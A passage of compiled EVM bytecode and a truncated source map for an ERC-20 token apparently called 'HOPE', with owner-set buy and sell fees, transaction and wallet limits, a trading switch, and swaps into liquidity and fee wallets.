549091506111549082610ea1565b305f81815260166020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111a49085815260200190565b60405180910390a35f600a541180156111c75750600a546111c5868661140d565b115b156111f3576111f33061dead6111ee600a546105ef600f5489610e9690919063ffffffff16565b610929565b6111fd838261091e565b915050610488565b5092915050565b6040805160028082526060820183525f9260208301908036833701905050905030815f8151811061123f5761123f611673565b6001600160a01b03928316602091820292909201810191909152600254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611296573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906112ba9190611687565b816001815181106112cd576112cd611673565b6001600160a01b0392831660209182029290920101526002546112f391309116846107fb565b60025460405163791ac94760e01b81526001600160a01b039091169063791ac9479061132b9085905f908690309042906004016116a2565b5f604051808303815f87803b158015611342575f80fd5b505af1158015611354573d5f803e3d5ffd5b505050505050565b6002546113749030906001600160a01b0316846107fb565b60025460125460405163f305d71960e01b8152306004820152602481018590525f6044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990839060c40160606040518083038185885af11580156113e1573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906114069190611711565b5050505050565b6003545f906001600160a01b039081169083160361142e5750600d546103b1565b6003546001600160a01b039081169084160361144d5750600c546103b1565b50600e5492915050565b5f6020808352835180828501525f5b8181101561148257858101830151858201604001528201611466565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146114b6575f80fd5b50565b5f80604083850312156114ca575f80fd5b82356114d5816114a2565b946020939093013593505050565b5f805f606084860312156114f5575f80fd5b8335611500816114a2565b92506020840135611510816114a2565b929592945050506040919091013590565b5f60208284031215611531575f80fd5b8135610488816114a2565b5f805f6060848603121561154e575f80fd5b505081359360208301359350604090920135919050565b5f805f805f805f60e0888a03121561157b575f80fd5b505085359760208701359750604087013596606081013596506080810135955060a0810135945060c0013592509050565b5f80604083850312156115bd575f80fd5b82356115c8816114a2565b915060208301356115d8816114a2565b809150509250929050565b60208082526006908201526510a7aba722a960d11b604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b818103818111156103b1576103b1611603565b808201808211156103b1576103b1611603565b80820281158282048414176103b1576103b1611603565b5f8261166e57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215611697575f80fd5b8151610488816114a2565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156116f05784516001600160a01b0316835293830193918301916001016116cb565b50506001600160a01b03969096166060850152505050608001529392505050565b5f805f60608486031215611723575f80fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208f85f31ad3d13d7363e0d44b1129f79f4857ba832861e9fe677ddd142cd790e064736f6c63430008150033

Deployed Bytecode

0x608060405260043610610108575f3560e01c8063893d20e811610092578063a9059cbb11610062578063a9059cbb146102d2578063cb7f97d7146102f1578063dd62ed3e14610310578063f2a4268714610354578063f2fde38b14610382575f80fd5b8063893d20e81461026457806395d89b41146101135780639cc3535114610294578063a8aa1b31146102b3575f80fd5b8063293230b8116100d8578063293230b8146101be5780632f54bf6e146101d4578063313ce5671461020157806370a082311461021c578063715018a614610250575f80fd5b806306fdde0314610113578063095ea7b31461014e57806318160ddd1461017d57806323b872dd1461019f575f80fd5b3661010f57005b5f80fd5b34801561011e575f80fd5b506040805180820182526004815263484f504560e01b602082015290516101459190611457565b60405180910390f35b348015610159575f80fd5b5061016d6101683660046114b9565b6103a1565b6040519015158152602001610145565b348015610188575f80fd5b506101916103b7565b604051908152602001610145565b3480156101aa575f80fd5b5061016d6101b93660046114e3565b610427565b3480156101c9575f80fd5b506101d261048f565b005b3480156101df575f80fd5b5061016d6101ee366004611521565b5f546001600160a01b0391821691161490565b34801561020c575f80fd5b5060405160098152602001610145565b348015610227575f80fd5b50610191610236366004611521565b6001600160a01b03165f9081526016602052604090205490565b34801561025b575f80fd5b506101d26104d6565b34801561026f575f80fd5b505f546001600160a01b03165b6040516001600160a01b039091168152602001610145565b34801561029f575f80fd5b506101d26102ae36600461153c565b610543565b3480156102be575f80fd5b5060035461027c906001600160a01b031681565b3480156102dd575f80fd5b5061016d6102ec3660046114b9565b61067f565b3480156102fc575f80fd5b506101d261030b366004611565565b61068b565b34801561031b575f80fd5b5061019161032a3660046115ac565b6001600160a01b039182165f90815260176020908152604080832093909416825291909152205490565b34801561035f575f80fd5b5061016d61036e366004611521565b60186020525f908152604090205460ff1681565b34801561038d575f80fd5b506101d261039c366004611521565b61077f565b5f6103ad3384846107fb565b5060015b92915050565b60166020527f0263c2b778d062355049effc2dece97bc6547ff8a88a3258daa512061c2153dd5461dead5f9081527f290d80ce586bfe95e1ebf348e3ba109df813891ad867417e64d38c5a50473b5754600154919261042292909161041c919061091e565b9061091e565b905090565b5f610433848484610929565b610484843361047f8560405180606001604052806028815260200161173d602891396001600160a01b038a165f9081526017602090815260408083203384529091529020549190610e60565b6107fb565b5060015b9392505050565b5f546001600160a01b031633146104c15760405162461bcd60e51b81526004016104b8906115e3565b60405180910390fd5b6003805460ff60a01b1916600160a01b179055565b5f546001600160a01b031633146104ff5760405162461bcd60e51b81526004016104b8906115e3565b5f80546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b5f546001600160a01b0316331461056c5760405162461bcd60e51b81526004016104b8906115e3565b5f61058e61271061058886600154610e8b90919063ffffffff16565b90610e96565b90505f6105ac61271061058886600154610e8b90919063ffffffff16565b90505f6105ca61271061058886600154610e8b90919063ffffffff16565b60138490556014839055601581905590505f6105f56103e861058860056105ef6103b7565b90610e8b565b90508084101580156106075750808310155b80156106135750808210155b6106765760405162461bcd60e51b815260206004820152602e60248201527f4d61782054587320616e64204d61782057616c6c65742063616e6e6f7420626560448201526d206c657373207468616e202e352560901b60648201526084016104b8565b50505050505050565b5f6103ad338484610929565b5f546001600160a01b031633146106b45760405162461bcd60e51b81526004016104b8906115e3565b60088790556009869055600a859055600b849055600c839055600d829055600e819055600f546106e5906001610e96565b600c54111580156107055750600f546106ff906001610e96565b600d5411155b80156107205750600f5461071a906001610e96565b600e5411155b6106765760405162461bcd60e51b815260206004820152602a60248201527f62757946656520616e642073656c6c4665652063616e6e6f74206265206d6f7260448201526965207468616e2032302560b01b60648201526084016104b8565b5f546001600160a01b031633146107a85760405162461bcd60e51b81526004016104b8906115e3565b5f80546001600160a01b0319166001600160a01b0383169081179091556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a150565b6001600160a01b03831661085d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104b8565b6001600160a01b0382166108be5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104b8565b6001600160a01b038381165f8181526017602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f6104888284611617565b6001600160a01b03831661098d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104b8565b6001600160a01b0382166109ef5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104b8565b6001600160a01b0383165f90815260166020526040902054811115610a705760405162461bcd60e51b815260206004820152603160248201527f596f752061726520747279696e6720746f207472616e73666572206d6f7265206044820152707468616e20796f75722062616c616e636560781b60648201526084016104b8565b6001600160a01b0383165f9081526018602052604090205460ff16158015610ab057506001600160a01b0382165f9081526018602052604090205460ff16155b15610afc57600354600160a01b900460ff16610afc5760405162461bcd60e51b815260206004820152600b60248201526a3a3930b234b733a7b832b760a91b60448201526064016104b8565b6001600160a01b0383165f9081526018602052604090205460ff16158015610b3c57506001600160a01b0382165f9081526018602052604090205460ff16155b8015610b5657506003546001600160a01b03838116911614155b8015610b6d57506001600160a01b03821661dead14155b15610be5576015546001600160a01b0383165f90815260166020526040902054610b979083610ea1565b1115610be55760405162461bcd60e51b815260206004820152601e60248201527f45786365656473206d6178696d756d2077616c6c657420616d6f756e742e000060448201526064016104b8565b6003546001600160a01b03848116911614610c845760145481111580610c2257506001600160a01b0383165f9081526018602052604090205460ff165b80610c4457506001600160a01b0382165f9081526018602052604090205460ff165b610c845760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b60448201526064016104b8565b60135481111580610cac57506001600160a01b0383165f9081526018602052604090205460ff165b80610cce57506001600160a01b0382165f9081526018602052604090205460ff165b610d0e5760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b60448201526064016104b8565b6003546001600160a01b038381169116148015610d4357506001600160a01b0383165f9081526018602052604090205460ff16155b15610d6057600160045f828254610d5a919061162a565b90915550505b610d6b838383610eac565b15610d8057610d7b600654610f6b565b5f6004555b6001600160a01b0383165f90815260166020526040902054610da2908261091e565b6001600160a01b0384165f90815260166020908152604080832093909355601890522054819060ff16610ddd57610dda8484846110e2565b90505b6001600160a01b0383165f90815260166020526040902054610dff9082610ea1565b6001600160a01b038085165f8181526016602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610e529085815260200190565b60405180910390a350505050565b5f8184841115610e835760405162461bcd60e51b81526004016104b89190611457565b505050900390565b5f610488828461163d565b5f6104888284611654565b5f610488828461162a565b600754600654305f90815260166020526040812054600354919385101592111590600160b01b900460ff16158015610eed5750600354600160a81b900460ff165b8015610f025750600354600160a01b900460ff165b8015610f0b5750815b8015610f2f57506001600160a01b0386165f9081526018602052604090205460ff16155b8015610f4857506003546001600160a01b038681169116145b8015610f58575060055460045410155b8015610f615750805b9695505050505050565b6003805460ff60b01b1916600160b01b179055600b546009546008545f92610fa8926002926105ef9291610fa29182906001610ea1565b90610ea1565b90505f610fc48261058860085486610e8b90919063ffffffff16565b90505f610fd1848361091e565b905047610fdd8261120c565b5f610fe8478361091e565b90505f61100a6110036008548861091e90919063ffffffff16565b8390610e96565b90505f61102260085483610e8b90919063ffffffff16565b9050801561103457611034868261135c565b6009545f90611048906105ef856002610e8b565b90508015611089576011546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015611087573d5f803e3d5ffd5b505b4780156110c9576010546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156110c7573d5f803e3d5ffd5b505b50506003805460ff60b01b191690555050505050505050565b6001600160a01b0382165f9081526018602052604081205460ff161561110b5750601354610488565b5f611116858561140d565b1115611205575f61113861112a868661140d565b600f546105ef908690610e96565b305f908152601660205260409020549091506111549082610ea1565b305f81815260166020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111a49085815260200190565b60405180910390a35f600a541180156111c75750600a546111c5868661140d565b115b156111f3576111f33061dead6111ee600a546105ef600f5489610e9690919063ffffffff16565b610929565b6111fd838261091e565b915050610488565b5092915050565b6040805160028082526060820183525f9260208301908036833701905050905030815f8151811061123f5761123f611673565b6001600160a01b03928316602091820292909201810191909152600254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611296573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906112ba9190611687565b816001815181106112cd576112cd611673565b6001600160a01b0392831660209182029290920101526002546112f391309116846107fb565b60025460405163791ac94760e01b81526001600160a01b039091169063791ac9479061132b9085905f908690309042906004016116a2565b5f604051808303815f87803b158015611342575f80fd5b505af1158015611354573d5f803e3d5ffd5b505050505050565b6002546113749030906001600160a01b0316846107fb565b60025460125460405163f305d71960e01b8152306004820152602481018590525f6044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990839060c40160606040518083038185885af11580156113e1573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906114069190611711565b5050505050565b6003545f906001600160a01b039081169083160361142e5750600d546103b1565b6003546001600160a01b039081169084160361144d5750600c546103b1565b50600e5492915050565b5f6020808352835180828501525f5b8181101561148257858101830151858201604001528201611466565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146114b6575f80fd5b50565b5f80604083850312156114ca575f80fd5b82356114d5816114a2565b946020939093013593505050565b5f805f606084860312156114f5575f80fd5b8335611500816114a2565b92506020840135611510816114a2565b929592945050506040919091013590565b5f60208284031215611531575f80fd5b8135610488816114a2565b5f805f6060848603121561154e575f80fd5b505081359360208301359350604090920135919050565b5f805f805f805f60e0888a03121561157b575f80fd5b505085359760208701359750604087013596606081013596506080810135955060a0810135945060c0013592509050565b5f80604083850312156115bd575f80fd5b82356115c8816114a2565b915060208301356115d8816114a2565b809150509250929050565b60208082526006908201526510a7aba722a960d11b604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b818103818111156103b1576103b1611603565b808201808211156103b1576103b1611603565b80820281158282048414176103b1576103b1611603565b5f8261166e57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215611697575f80fd5b8151610488816114a2565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156116f05784516001600160a01b0316835293830193918301916001016116cb565b50506001600160a01b03969096166060850152505050608001529392505050565b5f805f60608486031215611723575f80fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208f85f31ad3d13d7363e0d44b1129f79f4857ba832861e9fe677ddd142cd790e064736f6c63430008150033

Deployed Bytecode Sourcemap

3807:9748:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6133:67;;;;;;;;;;-1:-1:-1;6193:5:0;;;;;;;;;;;-1:-1:-1;;;6193:5:0;;;;6133:67;;;;6193:5;6133:67;:::i;:::-;;;;;;;;6491:133;;;;;;;;;;-1:-1:-1;6491:133:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6491:133:0;1023:187:1;6630:128:0;;;;;;;;;;;;;:::i;:::-;;;1361:25:1;;;1349:2;1334:18;6630:128:0;1215:177:1;7618:309:0;;;;;;;;;;-1:-1:-1;7618:309:0;;;;;:::i;:::-;;:::i;7935:64::-;;;;;;;;;;;;;:::i;:::-;;1770:87;;;;;;;;;;-1:-1:-1;1770:87:0;;;;;:::i;:::-;1825:4;1850:5;-1:-1:-1;;;;;1839:16:0;;;1850:5;;1839:16;;1770:87;6283:67;;;;;;;;;;-1:-1:-1;6283:67:0;;4011:1;2252:36:1;;2240:2;2225:18;6283:67:0;2110:184:1;6850:103:0;;;;;;;;;;-1:-1:-1;6850:103:0;;;;;:::i;:::-;-1:-1:-1;;;;;6933:18:0;6916:7;6933:18;;;:9;:18;;;;;;;6850:103;1863:106;;;;;;;;;;;;;:::i;6766:78::-;;;;;;;;;;-1:-1:-1;6818:7:0;6836:5;-1:-1:-1;;;;;6836:5:0;6766:78;;;-1:-1:-1;;;;;2463:32:1;;;2445:51;;2433:2;2418:18;6766:78:0;2299:203:1;9032:528:0;;;;;;;;;;-1:-1:-1;9032:528:0;;;;;:::i;:::-;;:::i;4113:19::-;;;;;;;;;;-1:-1:-1;4113:19:0;;;;-1:-1:-1;;;;;4113:19:0;;;6959:139;;;;;;;;;;-1:-1:-1;6959:139:0;;;;;:::i;:::-;;:::i;7106:504::-;;;;;;;;;;-1:-1:-1;7106:504:0;;;;;:::i;:::-;;:::i;6358:127::-;;;;;;;;;;-1:-1:-1;6358:127:0;;;;;:::i;:::-;-1:-1:-1;;;;;6456:18:0;;;6439:7;6456:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6358:127;5446:50;;;;;;;;;;-1:-1:-1;5446:50:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;1975:111;;;;;;;;;;-1:-1:-1;1975:111:0;;;;;:::i;:::-;;:::i;6491:133::-;6566:4;6573:37;6582:10;6594:7;6603:6;6573:8;:37::i;:::-;-1:-1:-1;6618:4:0;6491:133;;;;;:::o;6630:128::-;6933:9;:18;;;;5091:42;6683:7;6933:18;;;;;6700:8;;6683:7;;6700:56;;6933:18;;6700:29;;:8;:12;:29::i;:::-;:33;;:56::i;:::-;6693:63;;6630:128;:::o;7618:309::-;7716:4;7733:36;7743:6;7751:9;7762:6;7733:9;:36::i;:::-;7780:117;7789:6;7797:10;7809:87;7845:6;7809:87;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7809:19:0;;;;;;:11;:19;;;;;;;;7829:10;7809:31;;;;;;;;;:87;:35;:87::i;:::-;7780:8;:117::i;:::-;-1:-1:-1;7915:4:0;7618:309;;;;;;:::o;7935:64::-;1825:4;1850:5;-1:-1:-1;;;;;1850:5:0;1737:10;1839:16;1721:38;;;;-1:-1:-1;;;1721:38:0;;;;;;;:::i;:::-;;;;;;;;;7979:11:::1;:18:::0;;-1:-1:-1;;;;7979:18:0::1;-1:-1:-1::0;;;7979:18:0::1;::::0;;7935:64::o;1863:106::-;1825:4;1850:5;-1:-1:-1;;;;;1850:5:0;1737:10;1839:16;1721:38;;;;-1:-1:-1;;;1721:38:0;;;;;;;:::i;:::-;1926:1:::1;1910:18:::0;;-1:-1:-1;;;;;;1910:18:0::1;::::0;;1935:32:::1;::::0;2445:51:1;;;1935:32:0::1;::::0;2433:2:1;2418:18;1935:32:0::1;;;;;;;1863:106::o:0;9032:528::-;1825:4;1850:5;-1:-1:-1;;;;;1850:5:0;1737:10;1839:16;1721:38;;;;-1:-1:-1;;;1721:38:0;;;;;;;:::i;:::-;9138:13:::1;9154:29;9177:5;9154:18;9167:4;9154:8;;:12;;:18;;;;:::i;:::-;:22:::0;::::1;:29::i;:::-;9138:45;;9185:19;9207:30;9231:5;9207:19;9220:5;9207:8;;:12;;:19;;;;:::i;:30::-;9185:52;;9239:17;9259:32;9285:5;9259:21;9272:7;9259:8;;:12;;:21;;;;:::i;:32::-;9302:8;:16:::0;;;9320:7:::1;:21:::0;;;9343:10:::1;:22:::0;;;9239:52;-1:-1:-1;;9392:30:0::1;9417:4;9392:20;9410:1;9392:13;:11;:13::i;:::-;:17:::0;::::1;:20::i;:30::-;9376:46;;9450:5;9441;:14;;:38;;;;;9474:5;9459:11;:20;;9441:38;:60;;;;;9496:5;9483:9;:18;;9441:60;9433:119;;;::::0;-1:-1:-1;;;9433:119:0;;4614:2:1;9433:119:0::1;::::0;::::1;4596:21:1::0;4653:2;4633:18;;;4626:30;4692:34;4672:18;;;4665:62;-1:-1:-1;;;4743:18:1;;;4736:44;4797:19;;9433:119:0::1;4412:410:1::0;9433:119:0::1;9127:433;;;;9032:528:::0;;;:::o;6959:139::-;7037:4;7044:40;7054:10;7066:9;7077:6;7044:9;:40::i;7106:504::-;1825:4;1850:5;-1:-1:-1;;;;;1850:5:0;1737:10;1839:16;1721:38;;;;-1:-1:-1;;;1721:38:0;;;;;;;:::i;:::-;7296:7:::1;:20:::0;;;7318:7:::1;:20:::0;;;7340:9:::1;:17:::0;;;7359:8:::1;:23:::0;;;7384:6:::1;:15:::0;;;7401:7:::1;:15:::0;;;7418:11:::1;:20:::0;;;7467:11:::1;::::0;:18:::1;::::0;7483:1:::1;7467:15;:18::i;:::-;7457:6;;:28;;:61;;;;-1:-1:-1::0;7500:11:0::1;::::0;:18:::1;::::0;7516:1:::1;7500:15;:18::i;:::-;7489:7;;:29;;7457:61;:98;;;;-1:-1:-1::0;7537:11:0::1;::::0;:18:::1;::::0;7553:1:::1;7537:15;:18::i;:::-;7522:11;;:33;;7457:98;7449:153;;;::::0;-1:-1:-1;;;7449:153:0;;5029:2:1;7449:153:0::1;::::0;::::1;5011:21:1::0;5068:2;5048:18;;;5041:30;5107:34;5087:18;;;5080:62;-1:-1:-1;;;5158:18:1;;;5151:40;5208:19;;7449:153:0::1;4827:406:1::0;1975:111:0;1825:4;1850:5;-1:-1:-1;;;;;1850:5:0;1737:10;1839:16;1721:38;;;;-1:-1:-1;;;1721:38:0;;;;;;;:::i;:::-;2041:5:::1;:11:::0;;-1:-1:-1;;;;;;2041:11:0::1;-1:-1:-1::0;;;;;2041:11:0;::::1;::::0;;::::1;::::0;;;2059:25:::1;::::0;2445:51:1;;;2059:25:0::1;::::0;2433:2:1;2418:18;2059:25:0::1;;;;;;;1975:111:::0;:::o;8689:335::-;-1:-1:-1;;;;;8782:19:0;;8774:68;;;;-1:-1:-1;;;8774:68:0;;5656:2:1;8774:68:0;;;5638:21:1;5695:2;5675:18;;;5668:30;5734:34;5714:18;;;5707:62;-1:-1:-1;;;5785:18:1;;;5778:34;5829:19;;8774:68:0;5454:400:1;8774:68:0;-1:-1:-1;;;;;8861:21:0;;8853:68;;;;-1:-1:-1;;;8853:68:0;;6061:2:1;8853:68:0;;;6043:21:1;6100:2;6080:18;;;6073:30;6139:34;6119:18;;;6112:62;-1:-1:-1;;;6190:18:1;;;6183:32;6232:19;;8853:68:0;5859:398:1;8853:68:0;-1:-1:-1;;;;;8932:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;8984:32;;1361:25:1;;;8984:32:0;;1334:18:1;8984:32:0;;;;;;;8689:335;;;:::o;433:98::-;491:7;518:5;522:1;518;:5;:::i;10565:1504::-;-1:-1:-1;;;;;10662:20:0;;10654:70;;;;-1:-1:-1;;;10654:70:0;;6729:2:1;10654:70:0;;;6711:21:1;6768:2;6748:18;;;6741:30;6807:34;6787:18;;;6780:62;-1:-1:-1;;;6858:18:1;;;6851:35;6903:19;;10654:70:0;6527:401:1;10654:70:0;-1:-1:-1;;;;;10743:23:0;;10735:71;;;;-1:-1:-1;;;10735:71:0;;7135:2:1;10735:71:0;;;7117:21:1;7174:2;7154:18;;;7147:30;7213:34;7193:18;;;7186:62;-1:-1:-1;;;7264:18:1;;;7257:33;7307:19;;10735:71:0;6933:399:1;10735:71:0;-1:-1:-1;;;;;6933:18:0;;6916:7;6933:18;;;:9;:18;;;;;;10825:6;:27;;10817:88;;;;-1:-1:-1;;;10817:88:0;;7539:2:1;10817:88:0;;;7521:21:1;7578:2;7558:18;;;7551:30;7617:34;7597:18;;;7590:62;-1:-1:-1;;;7668:18:1;;;7661:47;7725:19;;10817:88:0;7337:413:1;10817:88:0;-1:-1:-1;;;;;10920:25:0;;;;;;:17;:25;;;;;;;;10919:26;:59;;;;-1:-1:-1;;;;;;10950:28:0;;;;;;:17;:28;;;;;;;;10949:29;10919:59;10916:101;;;10988:11;;-1:-1:-1;;;10988:11:0;;;;10980:35;;;;-1:-1:-1;;;10980:35:0;;7957:2:1;10980:35:0;;;7939:21:1;7996:2;7976:18;;;7969:30;-1:-1:-1;;;8015:18:1;;;8008:41;8066:18;;10980:35:0;7755:335:1;10980:35:0;-1:-1:-1;;;;;11031:25:0;;;;;;:17;:25;;;;;;;;11030:26;:59;;;;-1:-1:-1;;;;;;11061:28:0;;;;;;:17;:28;;;;;;;;11060:29;11030:59;:89;;;;-1:-1:-1;11114:4:0;;-1:-1:-1;;;;;11093:26:0;;;11114:4;;11093:26;;11030:89;:119;;;;-1:-1:-1;;;;;;11123:26:0;;5091:42;11123:26;;11030:119;11027:227;;;11207:10;;-1:-1:-1;;;;;11170:20:0;;;;;;:9;:20;;;;;;:32;;11195:6;11170:24;:32::i;:::-;11169:48;;11161:91;;;;-1:-1:-1;;;11161:91:0;;8297:2:1;11161:91:0;;;8279:21:1;8336:2;8316:18;;;8309:30;8375:32;8355:18;;;8348:60;8425:18;;11161:91:0;8095:354:1;11161:91:0;11277:4;;-1:-1:-1;;;;;11267:14:0;;;11277:4;;11267:14;11264:129;;11301:7;;11291:6;:17;;:46;;;-1:-1:-1;;;;;;11312:25:0;;;;;;:17;:25;;;;;;;;11291:46;:78;;;-1:-1:-1;;;;;;11341:28:0;;;;;;:17;:28;;;;;;;;11291:78;11283:108;;;;-1:-1:-1;;;11283:108:0;;8656:2:1;11283:108:0;;;8638:21:1;8695:2;8675:18;;;8668:30;-1:-1:-1;;;8714:18:1;;;8707:47;8771:18;;11283:108:0;8454:341:1;11283:108:0;11421:8;;11411:6;:18;;:47;;;-1:-1:-1;;;;;;11433:25:0;;;;;;:17;:25;;;;;;;;11411:47;:79;;;-1:-1:-1;;;;;;11462:28:0;;;;;;:17;:28;;;;;;;;11411:79;11403:109;;;;-1:-1:-1;;;11403:109:0;;8656:2:1;11403:109:0;;;8638:21:1;8695:2;8675:18;;;8668:30;-1:-1:-1;;;8714:18:1;;;8707:47;8771:18;;11403:109:0;8454:341:1;11403:109:0;11540:4;;-1:-1:-1;;;;;11527:17:0;;;11540:4;;11527:17;:47;;;;-1:-1:-1;;;;;;11549:25:0;;;;;;:17;:25;;;;;;;;11548:26;11527:47;11524:79;;;11599:1;11576:11;;:25;;;;;;;:::i;:::-;;;;-1:-1:-1;;11524:79:0;11616:47;11637:6;11645:9;11656:6;11616:20;:47::i;:::-;11613:111;;;11665:31;11684:11;;11665:18;:31::i;:::-;11720:1;11698:11;:24;11613:111;-1:-1:-1;;;;;11754:17:0;;;;;;:9;:17;;;;;;:29;;11776:6;11754:21;:29::i;:::-;-1:-1:-1;;;;;11734:17:0;;;;;;:9;:17;;;;;;;;:49;;;;11841:17;:25;;;;11819:6;;11841:25;;11836:93;;11886:41;11901:6;11909:9;11920:6;11886:14;:41::i;:::-;11869:58;;11836:93;-1:-1:-1;;;;;11962:20:0;;;;;;:9;:20;;;;;;:40;;11987:14;11962:24;:40::i;:::-;-1:-1:-1;;;;;11939:20:0;;;;;;;:9;:20;;;;;;;:63;;;;12018:43;;;;;;;;;;12046:14;1361:25:1;;1349:2;1334:18;;1215:177;12018:43:0;;;;;;;;10643:1426;10565:1504;;;:::o;849:240::-;969:7;1030:12;1022:6;;;;1014:29;;;;-1:-1:-1;;;1014:29:0;;;;;;;;:::i;:::-;-1:-1:-1;;;1065:5:0;;;849:240::o;537:98::-;595:7;622:5;626:1;622;:5;:::i;641:98::-;699:7;726:5;730:1;726;:5;:::i;329:98::-;387:7;414:5;418:1;414;:5;:::i;9568:402::-;9715:11;;9787;;9777:4;9672;6933:18;;;:9;:18;;;;;;9817:6;;9672:4;;9705:21;;;;-1:-1:-1;9759:39:0;;-1:-1:-1;;;9817:6:0;;;;9816:7;:19;;;;-1:-1:-1;9827:8:0;;-1:-1:-1;;;9827:8:0;;;;9816:19;:34;;;;-1:-1:-1;9839:11:0;;-1:-1:-1;;;9839:11:0;;;;9816:34;:46;;;;;9854:8;9816:46;:76;;;;-1:-1:-1;;;;;;9867:25:0;;;;;;:17;:25;;;;;;;;9866:26;9816:76;:97;;;;-1:-1:-1;9909:4:0;;-1:-1:-1;;;;;9896:17:0;;;9909:4;;9896:17;9816:97;:128;;;;;9932:12;;9917:11;;:27;;9816:128;:146;;;;;9948:14;9816:146;9809:153;9568:402;-1:-1:-1;;;;;;9568:402:0:o;12077:1018::-;4769:6;:13;;-1:-1:-1;;;;4769:13:0;-1:-1:-1;;;4769:13:0;;;12206:8:::1;::::0;12193:7:::1;::::0;12174::::1;::::0;4769:13;;12173:50:::1;::::0;12221:1:::1;::::0;12174:41:::1;::::0;12206:8;12174:27:::1;::::0;;;4778:4;12174:11:::1;:14::i;:::-;:18:::0;::::1;:27::i;12173:50::-;12150:73;;12234:32;12269:37;12293:12;12269:19;12280:7;;12269:6;:10;;:19;;;;:::i;:37::-;12234:72:::0;-1:-1:-1;12317:14:0::1;12334:36;:6:::0;12234:72;12334:10:::1;:36::i;:::-;12317:53:::0;-1:-1:-1;12406:21:0::1;12438:24;12317:53:::0;12438:16:::1;:24::i;:::-;12473:20;12496:41;:21;12522:14:::0;12496:25:::1;:41::i;:::-;12473:64;;12548:19;12569:43;12586:25;12603:7;;12586:12;:16;;:25;;;;:::i;:::-;12569:12:::0;;:16:::1;:43::i;:::-;12548:64;;12623:29;12655:24;12671:7;;12655:11;:15;;:24;;;;:::i;:::-;12623:56:::0;-1:-1:-1;12693:34:0;;12690:103:::1;;12729:61;12742:24;12768:21;12729:12;:61::i;:::-;12849:7;::::0;12803:20:::1;::::0;12826:31:::1;::::0;:18:::1;:11:::0;12842:1:::1;12826:15;:18::i;:31::-;12803:54:::0;-1:-1:-1;12871:16:0;;12868:68:::1;;12897:13;::::0;12889:45:::1;::::0;-1:-1:-1;;;;;12897:13:0;;::::1;::::0;12889:45;::::1;;;::::0;12921:12;;12897:13:::1;12889:45:::0;12897:13;12889:45;12921:12;12897:13;12889:45;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;12868:68;12972:21;13007:28:::0;;13004:84:::1;;13045:14;::::0;13037:49:::1;::::0;-1:-1:-1;;;;;13045:14:0;;::::1;::::0;13037:49;::::1;;;::::0;13070:15;;13045:14:::1;13037:49:::0;13045:14;13037:49;13070:15;13045:14;13037:49;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;13004:84;-1:-1:-1::0;;4787:6:0;:14;;-1:-1:-1;;;;4787:14:0;;;-1:-1:-1;;;;;;;;12077:1018:0:o;8007:674::-;-1:-1:-1;;;;;8124:28:0;;8100:7;8124:28;;;:17;:28;;;;;;;;8120:52;;;-1:-1:-1;8162:8:0;;8155:15;;8120:52;8221:1;8185:33;8200:6;8208:9;8185:14;:33::i;:::-;:37;8182:477;;;8234:17;8254:62;8282: